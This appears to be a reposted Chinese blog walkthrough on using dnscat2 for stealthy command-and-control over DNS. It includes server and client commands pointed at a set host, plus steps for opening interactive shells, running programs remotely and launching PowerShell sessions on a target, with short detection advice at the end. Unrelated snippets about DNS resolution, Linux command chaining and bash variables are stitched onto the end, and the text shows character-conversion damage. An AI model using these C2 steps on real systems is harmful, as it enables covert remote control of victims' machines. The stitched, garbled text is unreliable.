本文講的是通過dns控制主機以及執行命令,
即使在一些限制非常嚴格的環境下,dns協議還是允許處理內部和外部的通訊的。所以通過dns就可以建立起目標主機和命令&控**務器之間的通訊。由於命令和資料報都是在合法的dns查詢中傳輸的,所以很不容易被檢測到。
dnscat2是可以實現這一技術的,它可以通過dns協議建立乙個命令和控制通道。這一工具使用基於c語言編寫的客戶端(種植體),客戶端在目標機器執行,進而與服務端建立通訊。通訊過程中流量是進行加密傳輸的,並且通過預先共享的金鑰進行認證。
在kali2.0中安裝這一工具可以通過以下命令:
git clone
cd dnscat2/server/
bundle install
命令以及控**務器可以通過下面命令進行初始化:
ruby dnscat2.rb --dns "domain=pentestlab,host=192.168.1.169" --no-cache
dnscat2-v0.07-client-win32.exe --dns server=192.168.1.169
在c&c服務端,紅隊就可以進行會話互動:
session -i 1
通過執行「help」命令會列出所有可執行的命令:
或者可以使用「shell「命令會開啟另外乙個會話。
以下輸出會在目標機器的命令列中顯示:
shell是互動式的,而且全部是通過dns進行傳輸的,速度而且很快。
通過呼叫exec命令可以遠端開啟程式:
exec notepad.exe
luke baggett 已經開發出powershell版本的客戶端,並且已經在blackhillsinfosec**中進行了介紹,這一版本的客戶端的命令和已經編譯好的客戶端命令是相同的,不過他還新增了一些其他功能,比如互動式的powershell會話以及可以在記憶體中執行任何程式。
以下命令就是在目標機器執行powershell版本客戶端:
ps c:> start-dnscat2 -domain pentestlab -dnsserver 192.168.1.169
還可以通過以下命令直接建立powershell會話:
exec psh
這樣會建立乙個新的控制台,可以執行powershell命令和指令碼:
結論
dnscat2通過dns進行控制和執行命令有很多優點,比如:
1.支援多個會話
2.流量加密
3.通過使用金鑰防止mitm攻擊
4.從記憶體中直接執行powershell指令碼
5.隱蔽的
檢測這樣的攻擊是非常困難的,因為任意命令是通過合法的dns流量進行傳輸的,所以應該強調監控dns查詢的長度,並允許主機只與受信任的dns伺服器進行通訊。
原文發布時間為:2023年9月16日
DNS本機可解析,其他主機通過本機無法解析問題
新建了乙個redhat虛擬機器,將此虛擬機器作為dns伺服器使用,配置完以後宿主機的dns伺服器設定為配置好的虛擬機器位址,結果總是顯示no server reached,沒有伺服器可以到達,花了很長時間終於解決了。問題原因是 redhat預設安裝了防火牆iptables和前端控制firewalld...
Linux 命令執行控制
1 方式 command1 command2 如果command1執行成功,則執行command2 kevin kevin test ll總用量 4 rw rw r 1 kevin kevin 0 9月 11 00 55 1.log kevin kevin test mv 1.log tmp.log...
BASH 通過變數執行命令
問題 你希望根據實際情況執行不同的命令,怎麼去實現呢?解決方案 有很多問題解決這個問題,這也是指令碼要解決的。後面的章節中有很多的程式設計邏輯可以解決這個問題,比如 if then else,case 語句。fn tmp x.x prog echo prog fn prog cat prog fn ...